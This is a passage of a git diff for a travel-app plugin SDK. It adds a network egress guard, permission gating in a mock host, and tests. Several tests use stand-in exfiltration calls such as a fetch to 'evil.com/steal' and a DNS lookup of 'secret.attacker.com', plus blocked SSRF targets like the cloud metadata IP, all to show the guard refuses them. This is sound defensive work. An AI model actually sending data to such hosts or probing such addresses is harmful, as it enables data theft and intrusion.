hosts — ` + + `add "http:outbound:${host}" to permissions (and "${host}" to egress) in trek-plugin.json`, + ); + + const restores: RestoreEgress[] = []; + + const realFetch = globalThis.fetch; + if (typeof realFetch === 'function') { + globalThis.fetch = ((input: unknown, init?: unknown) => { + const url = typeof input === 'string' ? input : (input as { url?: string })?.url ?? String(input); + let host: string; + try { + host = new URL(url).hostname.replace(/^\[/, '').replace(/\]$/, ''); + } catch { + return Promise.reject(new Error('egress: invalid url')); + } + if (!allowed(host)) return Promise.reject(refuse(host)); + return (realFetch as (i: unknown, n: unknown) => Promise)(input, init); + }) as typeof fetch; + restores.push(() => { globalThis.fetch = realFetch; }); + } + + // Capture the real resolver before the dns module is gated below, so the connect + // guard keeps resolving even though direct dns.* calls are refused. + const realLookup = dns.lookup.bind(dns); + + // Resolve, then refuse a name that lands on a blocked address — the DNS-rebinding + // backstop, so a declared host can't point at localhost. + const guardedLookup = ( + hostname: string, + options: unknown, + cb: (err: Error | null, address?: unknown, family?: number) => void, + ): void => { + const opts = typeof options === 'function' ? {} : options; + if (typeof options === 'function') cb = options as typeof cb; + realLookup(hostname, opts as dns.LookupOptions, (err, address, family) => { + if (err) return cb(err, address as unknown, family); + const list = Array.isArray(address) ? address : [{ address: address as string }]; + for (const a of list) { + if (blockPrivate && isBlockedIp((a as { address: string }).address)) { + return cb(new Error(`egress: ${hostname} resolves to a blocked address (${(a as { address: string }).address})`)); + } + } + cb(null, address as unknown, family); + }); + }; + + const proto = net.Socket.prototype as unknown as { connect: (...a: unknown[]) => unknown }; + const realConnect = proto.connect; + proto.connect = function (this: unknown, ...rawArgs: unknown[]): unknown { + const args = unwrapConnectArgs(rawArgs); + const target = classifyConnect(args, (s) => net.isIP(s) !== 0); + if (target.kind === 'local') { + if (blockPrivate) throw new Error(`egress: connecting to a local socket/pipe (${target.host}) is not allowed`); + return realConnect.apply(this, rawArgs); + } + if (!allowed(target.host)) throw refuse(target.host); + if (target.kind === 'literal-ip') { + if (blockPrivate && isBlockedIp(target.host)) throw new Error(`egress: ${target.host} is a blocked address`); + return realConnect.apply(this, rawArgs); + } + // Hostname: inject the resolving guard, preserving any existing options. + const first = args[0]; + const options = first && typeof first === 'object' ? { ...(first as object) } : { host: target.host, port: args[0] }; + (options as { lookup?: unknown }).lookup = guardedLookup; + const rest = first && typeof first === 'object' ? args.slice(1) : args.slice(typeof args[1] === 'string' ? 2 : 1); + return realConnect.call(this, options, ...rest); + }; + restores.push(() => { proto.connect = realConnect; }); + + // UDP: a TCP-only guard would leave a plugin's syslog/statsd channel wide open in + // dev and blocked in prod — the exact asymmetry this exists to kill. + const guardDatagram = (host: string | null): void => { + if (host === null) return; + if (!allowed(host)) throw refuse(host); + if (blockPrivate && net.isIP(host) !== 0 && isBlockedIp(host)) { + throw new Error(`egress: ${host} is a blocked address`); + } + }; + const dgramProto = dgram.Socket.prototype as unknown as { + send: (...a: unknown[]) => unknown; + connect: (...a: unknown[]) => unknown; + }; + const realSend = dgramProto.send; + dgramProto.send = function (this: unknown, ...args: unknown[]): unknown { + guardDatagram(dgramSendTarget(args)); + return realSend.apply(this, args); + }; + const realDgramConnect = dgramProto.connect; + dgramProto.connect = function (this: unknown, ...args: unknown[]): unknown { + guardDatagram(dgramConnectTarget(args)); + return realDgramConnect.apply(this, args); + }; + restores.push(() => { dgramProto.send = realSend; dgramProto.connect = realDgramConnect; }); + + // Gate the resolver family: a forward lookup for an undeclared NAME is a DNS-tunnel + // exfiltration channel even when no socket is ever opened. + // + // A literal IP is exempt — it carries no name to tunnel data in, and reaching it is + // still barred by the connect guard + isBlockedIp. This is not just pedantry: Node + // resolves the bind address through dns.lookup when a server listens on a host, so + // gating literal IPs makes the dev server unable to bind its own 127.0.0.1 listener. + // (The host's child never calls listen(), which is why it can gate them.) + const gateDnsMethods = (obj: Record | undefined): void => { + if (!obj) return; + for (const name of DNS_METHODS) { + const real = obj[name]; + if (typeof real !== 'function') continue; + obj[name] = function (this: unknown, hostname: unknown, ...rest: unknown[]): unknown { + if (typeof hostname === 'string' && net.isIP(hostname) === 0 && !allowed(hostname)) { + const err = new Error(`egress: DNS lookup for ${hostname} is not in the plugin's declared hosts`); + const cb = rest.find((a) => typeof a === 'function') as ((e: Error) => void) | undefined; + if (cb) return cb(err); + return Promise.reject(err); + } + return (real as (...a: unknown[]) => unknown).call(this, hostname, ...rest); + }; + restores.push(() => { obj[name] = real; }); + } + }; + gateDnsMethods(dns as unknown as Record); + gateDnsMethods(dns.promises as unknown as Record); + gateDnsMethods((dns as unknown as { Resolver?: { prototype: Record } }).Resolver?.prototype); + gateDnsMethods((dns.promises as unknown as { Resolver?: { prototype: Record } })?.Resolver?.prototype); + + return () => { for (const r of restores.reverse()) r(); }; +} diff --git a/plugin-sdk/src/index.ts b/plugin-sdk/src/index.ts index a11db6a49..ceadd8aae 100644 --- a/plugin-sdk/src/index.ts +++ b/plugin-sdk/src/index.ts @@ -623,6 +623,13 @@ export function definePlugin(def: PluginDefinition): PluginDefinition { export { validateManifest, CHANNEL_EVENTS, type PluginManifest, type ValidationResult } from './manifest.js'; export { createMockHost, type MockHostOptions } from './mock-host.js'; +// The permissions TREK enforces OUTSIDE ctx — hooks, events, jobs, egress. An entry +// point you implement without its grant is never called in production, silently; these +// are what `dev` and the mock driver use to make that loud. +export { + PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION, + grantGaps, grantedHosts, type GrantGap, type PluginEntryPoints, +} from './permissions.js'; // The design kit for page/widget UIs: inline these into your client/index.html // (or drop a `` marker and let `dev`/`pack` expand it) to get the // native TREK look — glass, hover, buttons, inputs — plus a `window.trek` bridge. diff --git a/plugin-sdk/src/manifest.ts b/plugin-sdk/src/manifest.ts index 4b31d7cbc..f6fc39095 100644 --- a/plugin-sdk/src/manifest.ts +++ b/plugin-sdk/src/manifest.ts @@ -71,7 +71,11 @@ export const CHANNEL_EVENTS = [ ]; // Mirror of the server's KNOWN_PERMISSIONS (server envelope.ts) — the host hard-rejects // anything not in this list at activation, so validate must know the full set. -const KNOWN_PERMISSIONS = [ +// +// This is THE list. `create`'s permission picker is built from it (see PERMISSION_FAMILIES +// in cli/ui.ts, which only supplies the grouping and hints), so a permission added here can +// never again go missing from the scaffolder — test/cli.test.ts fails until it has an entry. +export const KNOWN_PERMISSIONS = [ 'db:own', 'db:read:trips', 'db:read:users', 'db:read:costs', 'db:read:packing', 'db:read:files', 'db:read:files:content', 'db:read:collab', diff --git a/plugin-sdk/src/mock-host.ts b/plugin-sdk/src/mock-host.ts index 739f61bc2..fcffd47ee 100644 --- a/plugin-sdk/src/mock-host.ts +++ b/plugin-sdk/src/mock-host.ts @@ -1,5 +1,6 @@ import type { PluginContext, PluginDefinition, PluginRequest, PluginResponse, Trip, Place, Day, Reservation, PackingItem, TripFile, BudgetItem, User, NotificationMessage, PluginActionResult } from './index.js'; import { CHANNEL_EVENTS } from './manifest.js'; +import { PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION } from './permissions.js'; /** * A mock PluginContext for unit-testing a plugin without a running TREK @@ -8,6 +9,12 @@ import { CHANNEL_EVENTS } from './manifest.js'; * plugin degrades gracefully. Data access returns configured fixtures; the db is * a lightweight recorder (configure results, or use an integration test for real * SQL). + * + * That applies to the DRIVER too (`run(def)`), not just ctx: TREK gates hooks, event + * subscriptions, jobs and the GDPR handlers on a permission before the plugin is ever + * reached, and skips an ungranted plugin SILENTLY. So `run(def).hook('warningProvider')` + * without `hook:trip-warning-provider` throws here — otherwise a green unit test would + * still mean a plugin that does nothing at all in production. */ export interface MockHostOptions { @@ -66,6 +73,11 @@ export interface MockHostOptions { * undeclared key throws — production refuses it before the child is ever woken. * Unset = any key the plugin implements can be driven. */ declaredActions?: string[]; + /** Hosts an ADMIN supplies at runtime to an `operatorEgress: true` plugin, which by + * definition cannot name them in its manifest. Only `trek-plugin dev` reads this (to + * widen its egress guard); the mock ctx makes no network calls of its own. It lives + * here because dev-fixtures.json IS a MockHostOptions and dev spreads it in whole. */ + operatorEgressHosts?: string[]; /** The events this plugin's notification channel accepts, i.e. the manifest's * `capabilities.notificationChannel.events`. Defaults to the full CHANNEL_EVENTS set. * A manifest can only NARROW that set, never widen it — so can this. */ @@ -160,7 +172,6 @@ export interface MockHost { run(def: PluginDefinition): PluginDriver; } -class PermissionDenied extends Error {} // --- Statement guards copied from the host's PluginDataDb (plugin-data.service.ts), // so SQL production refuses fails in a unit test too instead of silently passing. --- @@ -1365,6 +1376,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost { // ctx shares every fixture and recorder but binds nobody. const userlessCtx = buildCtx(undefined); + // TREK gates these entry points BEFORE the plugin is reached: an ungranted hook is + // never offered to consumers, an ungranted subscriber is never delivered an event, and + // an ungranted plugin's jobs are never scheduled. It does all of that silently. Refuse + // them here so a unit test can't pass on a plugin production would never call. + const needEntry = (perm: string, what: string) => { + if (!grants.has(perm)) { + throw new PermissionDenied( + `PERMISSION_DENIED: ${what} requires ${perm} — TREK never fires an entry point the manifest did not grant`, + ); + } + }; + const run = (def: PluginDefinition): PluginDriver => ({ load: async () => { await def.onLoad?.(ctx); }, unload: async () => { await def.onUnload?.(ctx); }, @@ -1380,15 +1403,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost { return r.handler(full, ctx); }, job: async (id) => { + needEntry(JOBS_PERMISSION, `job "${id}"`); const j = (def.jobs ?? []).find((x) => x.id === id); if (!j) throw new Error(`no job "${id}"`); await j.handler(userlessCtx); }, scheduled: async (name, payload) => { + needEntry(JOBS_PERMISSION, `scheduled "${name}"`); if (typeof def.scheduled !== 'function') throw new Error('plugin has no scheduled handler'); await def.scheduled({ name, payload }, userlessCtx); }, event: async (name, payload) => { + needEntry(EVENTS_PERMISSION, `event "${name}"`); for (const s of def.events ?? []) { if (s.on === name || s.on === '*') { await s.handler({ event: name, tripId: payload?.tripId ?? 0, entity: payload?.entity, entityId: payload?.entityId, snapshot: payload?.snapshot }, userlessCtx); @@ -1401,14 +1427,18 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost { } }, deleteUserData: async (userId) => { + needEntry(USER_DATA_PERMISSION, 'deleteUserData'); if (typeof def.deleteUserData !== 'function') throw new Error('plugin has no deleteUserData handler'); await def.deleteUserData({ userId }, userlessCtx); }, exportUserData: async (userId) => { + needEntry(USER_DATA_PERMISSION, 'exportUserData'); if (typeof def.exportUserData !== 'function') throw new Error('plugin has no exportUserData handler'); return def.exportUserData({ userId }, userlessCtx); }, hook: async (name, fn, ...args) => { + const perm = HOOK_PERMISSION[name]; + if (perm) needEntry(perm, `hook ${name}`); const hooks = def.hooks as Record unknown> | undefined> | undefined; const impl = hooks?.[name]; if (!impl || typeof impl[fn] !== 'function') throw new Error(`no hook ${name}.${fn}`); @@ -1438,6 +1468,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost { }, channel: { send: async (msg, config) => { + needEntry(HOOK_PERMISSION.notificationChannel, 'notificationChannel.send'); const impl = def.hooks?.notificationChannel; if (!impl) throw new Error('plugin has no notificationChannel hook'); const allowed = opts.channelEvents ?? CHANNEL_EVENTS; @@ -1447,6 +1478,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost { await impl.send(msg, settingsBlob(config ?? opts.userSettings, 'channel config'), userlessCtx); }, test: async (config) => { + needEntry(HOOK_PERMISSION.notificationChannel, 'notificationChannel.test'); const impl = def.hooks?.notificationChannel; if (typeof impl?.test !== 'function') throw new Error('plugin has no notificationChannel.test hook'); await impl.test(settingsBlob(config ?? opts.userSettings, 'channel config'), userlessCtx); @@ -1456,3 +1488,7 @@ export function createMockHost(opts: MockHostOptions = {}): MockHost { return { ctx, userlessCtx, calls, logs, broadcasts, emitted, notifications, scheduled: scheduledTasks, run }; } + +// `trek-plugin-sdk/testing` resolves to this module, so re-export what a test needs to +// assert on a denial: `await expect(h.run(def).job('x')).rejects.toThrow(PermissionDenied)`. +export { PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION } from './permissions.js'; diff --git a/plugin-sdk/src/permissions.ts b/plugin-sdk/src/permissions.ts new file mode 100644 index 000000000..f8bce275f --- /dev/null +++ b/plugin-sdk/src/permissions.ts @@ -0,0 +1,102 @@ +/** + * The permission families TREK enforces OUTSIDE the ctx object — and the single + * PermissionDenied both the dev server and the mock host throw. + * + * ctx methods are gated at call time (an ungranted ctx.trips.getById throws). But a + * hook, an event subscription and a job are gated BEFORE the plugin is ever reached: + * the supervisor simply never selects an ungranted plugin as a provider, never + * delivers it an event, and never schedules its jobs. That failure is SILENT in + * production — the plugin installs, activates, and then does nothing at all — so dev + * and the mock driver must be the place it becomes loud. + */ + +/** Thrown by the dev server and the mock host for any ungranted capability. */ +export class PermissionDenied extends Error {} + +/** + * hooks. → the permission that must ALSO be granted for TREK to ever call it. + * Mirrors HOOK_PERMISSION in the host's supervisor (plugin-supervisor.ts): a plugin + * provides a hook only if it BOTH implements it and holds this grant. + */ +export const HOOK_PERMISSION: Readonly> = { + photoProvider: 'hook:photo-provider', + calendarSource: 'hook:calendar-source', + placeDetailProvider: 'hook:place-detail-provider', + warningProvider: 'hook:trip-warning-provider', + tableContributor: 'hook:table-contributor', + mapMarkerProvider: 'hook:map-marker-provider', + pdfSectionProvider: 'hook:pdf-section-provider', + atlasLayerProvider: 'hook:atlas-layer-provider', + journalEntryProvider: 'hook:journal-entry-provider', + tripCardProvider: 'hook:trip-card-provider', + notificationChannel: 'hook:notification-channel', +}; + +/** Gates the GDPR handlers (deleteUserData / exportUserData). Not a hooks.* key. */ +export const USER_DATA_PERMISSION = 'hook:user-data'; +/** Gates event subscriptions — without it the host delivers the plugin nothing. */ +export const EVENTS_PERMISSION = 'events:subscribe'; +/** Gates jobs, and the ctx.scheduler timers that fire `scheduled`. */ +export const JOBS_PERMISSION = 'jobs:run'; + +const HTTP_OUTBOUND = 'http:outbound:'; + +/** The structural shape of a loaded plugin that grantGaps needs. */ +export interface PluginEntryPoints { + jobs?: unknown[]; + scheduled?: unknown; + events?: unknown[]; + deleteUserData?: unknown; + exportUserData?: unknown; + hooks?: Record; +} + +/** An entry point the plugin implements but has no permission to actually run. */ +export interface GrantGap { + /** What the plugin implements, e.g. `hooks.warningProvider` or `jobs`. */ + entryPoint: string; + /** The permission the manifest is missing. */ + permission: string; + /** What TREK does instead — always a silent no-op, hence the warning. */ + consequence: string; +} + +/** + * Every entry point the plugin implements without the permission that makes TREK + * call it. Pure, so both the dev banner and the tests can use it. + * + * The consequence is worth spelling out to the author: production does NOT throw + * here, it just never invokes them — "my plugin does nothing and logs nothing" is + * exactly the bug this catches. + */ +export function grantGaps(plugin: PluginEntryPoints, grants: ReadonlySet): GrantGap[] { + const gaps: GrantGap[] = []; + const gap = (entryPoint: string, permission: string, noun: string) => { + if (!grants.has(permission)) gaps.push({ entryPoint, permission, consequence: `TREK will never ${noun}` }); + }; + + for (const key of Object.keys(plugin.hooks ?? {})) { + const perm = HOOK_PERMISSION[key]; + // An unknown hooks.* key is the plugin's business (the host ignores it), not a gap. + if (perm && plugin.hooks?.[key]) gap(`hooks.${key}`, perm, `call this hook`); + } + if (plugin.jobs?.length) gap('jobs', JOBS_PERMISSION, 'schedule your jobs'); + if (typeof plugin.scheduled === 'function') gap('scheduled', JOBS_PERMISSION, 'let you arm a timer (ctx.scheduler is denied)'); + if (plugin.events?.length) gap('events', EVENTS_PERMISSION, 'deliver you any event'); + if (typeof plugin.deleteUserData === 'function') gap('deleteUserData', USER_DATA_PERMISSION, 'call your GDPR erasure handler'); + if (typeof plugin.exportUserData === 'function') gap('exportUserData', USER_DATA_PERMISSION, 'call your GDPR export handler'); + return gaps; +} + +/** + * The hosts a plugin may actually reach. TREK builds its runtime network allowlist + * from the `http:outbound:` PERMISSIONS — the manifest's `egress[]` array is + * the consent-screen declaration and is never read at runtime. A bare `http:outbound` + * with no host suffix therefore reaches nothing. + */ +export function grantedHosts(grants: Iterable): string[] { + return [...grants] + .filter((p) => p.startsWith(HTTP_OUTBOUND)) + .map((p) => p.slice(HTTP_OUTBOUND.length)) + .filter(Boolean); // a bare `http:outbound:` names no host +} diff --git a/plugin-sdk/test/cli.test.ts b/plugin-sdk/test/cli.test.ts index 1c1424381..adc2dfabd 100644 --- a/plugin-sdk/test/cli.test.ts +++ b/plugin-sdk/test/cli.test.ts @@ -4,7 +4,9 @@ import os from 'node:os'; import path from 'node:path'; import { validateManifest } from '../src/index.js'; import { scaffold } from '../src/cli/create.js'; -import { PERMISSION_CATALOG, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js'; +import { PERMISSION_CATALOG, PERMISSION_FAMILIES, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js'; +// The authoritative set — what the HOST accepts at activation. The picker must match it. +import { KNOWN_PERMISSIONS as MANIFEST_PERMISSIONS } from '../src/manifest.js'; import { resolveMenuChoice, PRIMARY_MENU, ADVANCED_MENU } from '../src/cli/menu.js'; describe('scaffold egress (http:outbound)', () => { @@ -38,15 +40,32 @@ describe('scaffold egress (http:outbound)', () => { }); describe('permission catalog', () => { - it('covers exactly the known permission ids (none lost in the move to ui.ts)', () => { - expect(KNOWN_PERMISSIONS).toEqual([ - 'db:own', 'db:read:trips', 'db:read:users', 'db:read:costs', 'db:write:costs', - 'db:write:places', 'db:write:days', 'db:write:itinerary', 'db:write:trips', - 'db:meta', - 'ws:broadcast:trip', 'ws:broadcast:user', - 'hook:photo-provider', 'hook:calendar-source', 'hook:notification-channel', 'hook:place-detail-provider', 'hook:trip-warning-provider', 'http:outbound', - ]); - for (const p of PERMISSION_CATALOG) expect(p.hint.length).toBeGreaterThan(0); // every option is described + // This test used to PIN an 18-item list and call it "exactly the known permission ids". + // It was wrong: the real set is ~58, so `create` could not offer jobs:run, + // events:subscribe or 7 of the 12 hooks, and the assertion guaranteed nobody noticed. + // It now asserts COVERAGE against the manifest validator's list, which is the only + // list the host actually honours — so a new TREK permission fails here until `create` + // can offer it. + it('offers every permission the host accepts — no more, no less', () => { + expect([...KNOWN_PERMISSIONS].sort()).toEqual([...MANIFEST_PERMISSIONS].sort()); + }); + + it('describes every permission, and files it in exactly one family', () => { + for (const p of PERMISSION_CATALOG) { + expect(p.hint.length, `${p.value} has no hint`).toBeGreaterThan(0); + expect(PERMISSION_FAMILIES.filter((f) => f.permissions.some((x) => x.value === p.value))) + .toHaveLength(1); + } + // No duplicates across families — a permission listed twice would render twice. + expect(new Set(KNOWN_PERMISSIONS).size).toBe(KNOWN_PERMISSIONS.length); + }); + + it('every family is non-empty and described (an empty one is a dead prompt entry)', () => { + for (const f of PERMISSION_FAMILIES) { + expect(f.permissions.length, `family ${f.id} is empty`).toBeGreaterThan(0); + expect(f.label.length).toBeGreaterThan(0); + expect(f.hint.length).toBeGreaterThan(0); + } }); }); diff --git a/plugin-sdk/test/egress-policy.test.ts b/plugin-sdk/test/egress-policy.test.ts new file mode 100644 index 000000000..1b8c33fa7 --- /dev/null +++ b/plugin-sdk/test/egress-policy.test.ts @@ -0,0 +1,153 @@ +import { describe, it, expect, afterEach } from 'vitest'; +import { + makeHostAllow, isBlockedIp, classifyConnect, unwrapConnectArgs, dgramSendTarget, dgramConnectTarget, + installEgressGuard, type RestoreEgress, +} from '../src/egress-policy.js'; + +describe('makeHostAllow', () => { + it('matches an exact host only', () => { + const allow = makeHostAllow(['api.example.com']); + expect(allow('api.example.com')).toBe(true); + expect(allow('API.Example.COM')).toBe(true); // case-insensitive + expect(allow('api.example.com.')).toBe(true); // trailing-dot FQDN + expect(allow('evil.com')).toBe(false); + expect(allow('notapi.example.com')).toBe(false); + }); + + it('matches subdomains (and the apex) for a *.suffix wildcard', () => { + const allow = makeHostAllow(['*.example.com']); + expect(allow('a.example.com')).toBe(true); + expect(allow('deep.nested.example.com')).toBe(true); + expect(allow('example.com')).toBe(true); // the apex itself + expect(allow('example.com.evil.net')).toBe(false); + }); + + it('refuses the allow-all patterns — a bare * and a whole-TLD wildcard', () => { + expect(makeHostAllow(['*'])('anything.com')).toBe(false); + expect(makeHostAllow(['*.com'])('anything.com')).toBe(false); + expect(makeHostAllow(['*.'])('anything.com')).toBe(false); + }); + + it('with no declared hosts, nothing is allowed — as in production', () => { + const allow = makeHostAllow([]); + expect(allow('example.com')).toBe(false); + expect(allow('localhost')).toBe(false); + }); +}); + +describe('isBlockedIp', () => { + it.each([ + '127.0.0.1', '10.0.0.5', '172.16.0.1', '172.31.255.255', '192.168.1.1', + '169.254.169.254', // cloud metadata — the SSRF prize + '100.64.0.1', '0.0.0.0', '224.0.0.1', + ])('blocks %s', (ip) => expect(isBlockedIp(ip)).toBe(true)); + + it.each(['8.8.8.8', '1.1.1.1', '172.32.0.1', '192.169.0.1', '99.1.2.3'])( + 'allows public %s', (ip) => expect(isBlockedIp(ip)).toBe(false), + ); + + it('blocks every spelling of an IPv6 loopback/metadata address', () => { + expect(isBlockedIp('::1')).toBe(true); + expect(isBlockedIp('::')).toBe(true); + expect(isBlockedIp('fe80::1')).toBe(true); // link-local + expect(isBlockedIp('fc00::1')).toBe(true); // ULA + expect(isBlockedIp('::ffff:127.0.0.1')).toBe(true); // IPv4-mapped, dotted + expect(isBlockedIp('::ffff:a9fe:a9fe')).toBe(true); // IPv4-mapped metadata, hex + expect(isBlockedIp('[::ffff:169.254.169.254]')).toBe(true); // bracketed + expect(isBlockedIp('2606:4700::1111')).toBe(false); // public v6 + }); +}); + +describe('connect / dgram argument parsing', () => { + const isIP = (s: string) => /^\d+\.\d+\.\d+\.\d+$/.test(s); + + it('unwraps the pre-normalised [options, cb] array net.connect() passes', () => { + const opts = { host: 'a.com', port: 80 }; + expect(unwrapConnectArgs([[opts, () => {}]])).toEqual([opts, expect.any(Function)]); + expect(unwrapConnectArgs([opts])).toEqual([opts]); + }); + + it('classifies every connect() overload', () => { + expect(classifyConnect([{ host: 'a.com', port: 443 }], isIP)).toEqual({ kind: 'hostname', host: 'a.com' }); + expect(classifyConnect([{ host: '1.2.3.4' }], isIP)).toEqual({ kind: 'literal-ip', host: '1.2.3.4' }); + expect(classifyConnect([{ path: '/var/run/docker.sock' }], isIP)).toEqual({ kind: 'local', host: '/var/run/docker.sock' }); + expect(classifyConnect(['/tmp/x.sock'], isIP)).toEqual({ kind: 'local', host: '/tmp/x.sock' }); + expect(classifyConnect([443, 'a.com'], isIP)).toEqual({ kind: 'hostname', host: 'a.com' }); + expect(classifyConnect([443], isIP)).toEqual({ kind: 'hostname', host: 'localhost' }); + // the plain-HTTP path undici takes — misparsing this once made every HTTP call + // look like a connect to "localhost" + expect(classifyConnect([[{ host: 'a.com', port: 80 }, () => {}]], isIP)).toEqual({ kind: 'hostname', host: 'a.com' }); + }); + + it('finds the dgram destination in both send() overloads', () => { + expect(dgramSendTarget(['msg', 514, 'logs.example.com'])).toBe('logs.example.com'); + expect(dgramSendTarget(['msg', 0, 3, 514, 'logs.example.com'])).toBe('logs.example.com'); // (offset,length) form + expect(dgramSendTarget(['msg', 514])).toBeNull(); // no explicit address + expect(dgramConnectTarget([514, 'logs.example.com'])).toBe('logs.example.com'); + expect(dgramConnectTarget([514])).toBeNull(); + }); +}); + +describe('installEgressGuard', () => { + let restore: RestoreEgress | null = null; + afterEach(() => { restore?.(); restore = null; }); + + it('rejects a fetch to an undeclared host, and names the permission to add', async () => { + restore = installEgressGuard(['api.example.com']); + await expect(fetch('https://evil.com/steal')).rejects.toThrow(/evil\.com is not in the plugin's declared hosts/); + await expect(fetch('https://evil.com/steal')).rejects.toThrow(/http:outbound:evil\.com/); + }); + + it('blocks ALL outbound when no host is declared — as in production', async () => { + restore = installEgressGuard([]); + await expect(fetch('https://api.example.com')).rejects.toThrow(/not in the plugin's declared hosts/); + }); + + it('rejects a malformed url rather than passing it through', async () => { + restore = installEgressGuard(['api.example.com']); + await expect(fetch('not-a-url')).rejects.toThrow(/egress: invalid url/); + }); + + it('lets a declared host through to the real fetch (it delegates, never resolves)', async () => { + restore = installEgressGuard(['api.example.com']); + // Port 1 will never connect, so this rejects either way — what matters is WHICH error. + // An egress refusal would mean the guard blocked a host it was told to allow. + const err = await fetch('http://api.example.com:1/').catch((e: Error) => e.message); + expect(err).not.toMatch(/declared hosts/); + expect(err).toMatch(/fetch failed|ECONNREFUSED/); + }); + + it('gates a DNS lookup for an undeclared name (the DNS-tunnel channel)', async () => { + restore = installEgressGuard(['api.example.com']); + const dns = await import('node:dns'); + await expect(dns.promises.resolveTxt('secret.attacker.com')).rejects.toThrow(/DNS lookup for secret\.attacker\.com/); + }); + + // Regression: gating literal IPs too broke the dev server's OWN listener — Node + // resolves a bind address through dns.lookup, so `listen(port, '127.0.0.1')` was + // refused by its own guard and dev could not start. An IP has no name to tunnel + // data in; reaching it is still barred by the connect guard + isBlockedIp. + it('does NOT gate a lookup of a literal IP (the dev server binds through dns.lookup)', async () => { + restore = installEgressGuard([]); // nothing declared: the strictest possible policy + const dns = await import('node:dns'); + await expect(dns.promises.lookup('127.0.0.1')).resolves.toMatchObject({ address: '127.0.0.1' }); + }); + + it('still refuses to CONNECT to a blocked literal IP', async () => { + restore = installEgressGuard(['1.2.3.4']); + const net = await import('node:net'); + // Declared, but private — the SSRF backstop outranks the allowlist. + expect(() => new net.Socket().connect({ host: '127.0.0.1', port: 1 })).toThrow(/blocked address|declared hosts/); + }); + + it('restores the real fetch and dns on teardown', async () => { + const realFetch = globalThis.fetch; + const dns = await import('node:dns'); + const realResolve = dns.promises.resolveTxt; + const undo = installEgressGuard(['api.example.com']); + expect(globalThis.fetch).not.toBe(realFetch); + undo(); + expect(globalThis.fetch).toBe(realFetch); + expect(dns.promises.resolveTxt).toBe(realResolve); + }); +}); diff --git a/plugin-sdk/test/permissions-parity.test.ts b/plugin-sdk/test/permissions-parity.test.ts new file mode 100644 index 000000000..46e7b5293 --- /dev/null +++ b/plugin-sdk/test/permissions-parity.test.ts @@ -0,0 +1,54 @@ +/** + * The SDK hand-mirrors two things the server owns: the hook→permission map, and the + * pure egress-policy helpers. trek-plugin-sdk ships standalone and cannot import across + * the package boundary, so the copies are real copies — and a silent drift here is the + * worst possible bug in this module: `dev` would confidently green-light a plugin that + * the host then refuses (or refuse one the host would allow). + * + * These tests read the server's source directly. They only run inside the TREK monorepo; + * in a published/standalone checkout the server isn't there and they skip. + */ +import { describe, it, expect } from 'vitest'; +import fs from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { HOOK_PERMISSION } from '../src/permissions.js'; + +const here = path.dirname(fileURLToPath(import.meta.url)); +const serverPlugins = path.resolve(here, '../../server/src/nest/plugins'); +const supervisor = path.join(serverPlugins, 'supervisor/plugin-supervisor.ts'); +const serverEgress = path.join(serverPlugins, 'runtime/egress-policy.ts'); +const inMonorepo = fs.existsSync(supervisor) && fs.existsSync(serverEgress); + +describe.skipIf(!inMonorepo)('parity with the host', () => { + it('HOOK_PERMISSION matches the supervisor\'s map exactly', () => { + const src = fs.readFileSync(supervisor, 'utf8'); + const block = src.match(/const HOOK_PERMISSION[^{]*\{([\s\S]*?)\n\};/); + expect(block, 'could not find HOOK_PERMISSION in plugin-supervisor.ts').toBeTruthy(); + + const host: Record = {}; + for (const [, key, perm] of block![1].matchAll(/^\s*(\w+):\s*'([^']+)'/gm)) host[key] = perm; + + // Both directions: a hook the host gates that we don't know about means dev fires it + // when TREK never would; one we gate that the host doesn't means dev refuses for nothing. + expect(Object.keys(host).length).toBeGreaterThan(0); + expect(HOOK_PERMISSION).toEqual(host); + }); + + it('the vendored egress-policy helpers are byte-identical to the server\'s', () => { + const ours = fs.readFileSync(path.resolve(here, '../src/egress-policy.ts'), 'utf8'); + const theirs = fs.readFileSync(serverEgress, 'utf8'); + + // Compare the pure helpers only — our file additionally carries installEgressGuard + // (the server's lives in plugin-host-entry.ts, where it is coupled to the child). + const fns = ['isBlockedIp', 'expandV6', 'makeHostAllow', 'dgramSendTarget', 'dgramConnectTarget', 'unwrapConnectArgs', 'classifyConnect']; + const body = (src: string, name: string): string => { + const start = src.indexOf(`function ${name}(`); + expect(start, `${name} not found`).toBeGreaterThan(-1); + // From the signature to the closing brace at column 0 — these are all top-level fns. + const end = src.indexOf('\n}', start); + return src.slice(start, end).replace(/\s+/g, ' ').trim(); + }; + for (const fn of fns) expect(body(ours, fn), `${fn} has drifted from the server`).toBe(body(theirs, fn)); + }); +}); diff --git a/plugin-sdk/test/permissions.test.ts b/plugin-sdk/test/permissions.test.ts new file mode 100644 index 000000000..06fd605aa --- /dev/null +++ b/plugin-sdk/test/permissions.test.ts @@ -0,0 +1,79 @@ +import { describe, it, expect } from 'vitest'; +import { + grantGaps, grantedHosts, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION, +} from '../src/permissions.js'; + +const noop = () => {}; + +describe('grantGaps — entry points TREK would never run', () => { + it('reports nothing for an empty plugin', () => { + expect(grantGaps({}, new Set())).toEqual([]); + }); + + // The whole point of this module: every hook must be gated on its own permission, and + // a typo in one row of the map is a plugin that silently never runs in production. + for (const [key, permission] of Object.entries(HOOK_PERMISSION)) { + it(`flags hooks.${key} without ${permission}`, () => { + const plugin = { hooks: { [key]: { anyFn: noop } } }; + const gaps = grantGaps(plugin, new Set()); + expect(gaps).toHaveLength(1); + expect(gaps[0]).toMatchObject({ entryPoint: `hooks.${key}`, permission }); + }); + + it(`does not flag hooks.${key} when ${permission} is granted`, () => { + expect(grantGaps({ hooks: { [key]: { anyFn: noop } } }, new Set([permission]))).toEqual([]); + }); + } + + it.each([ + 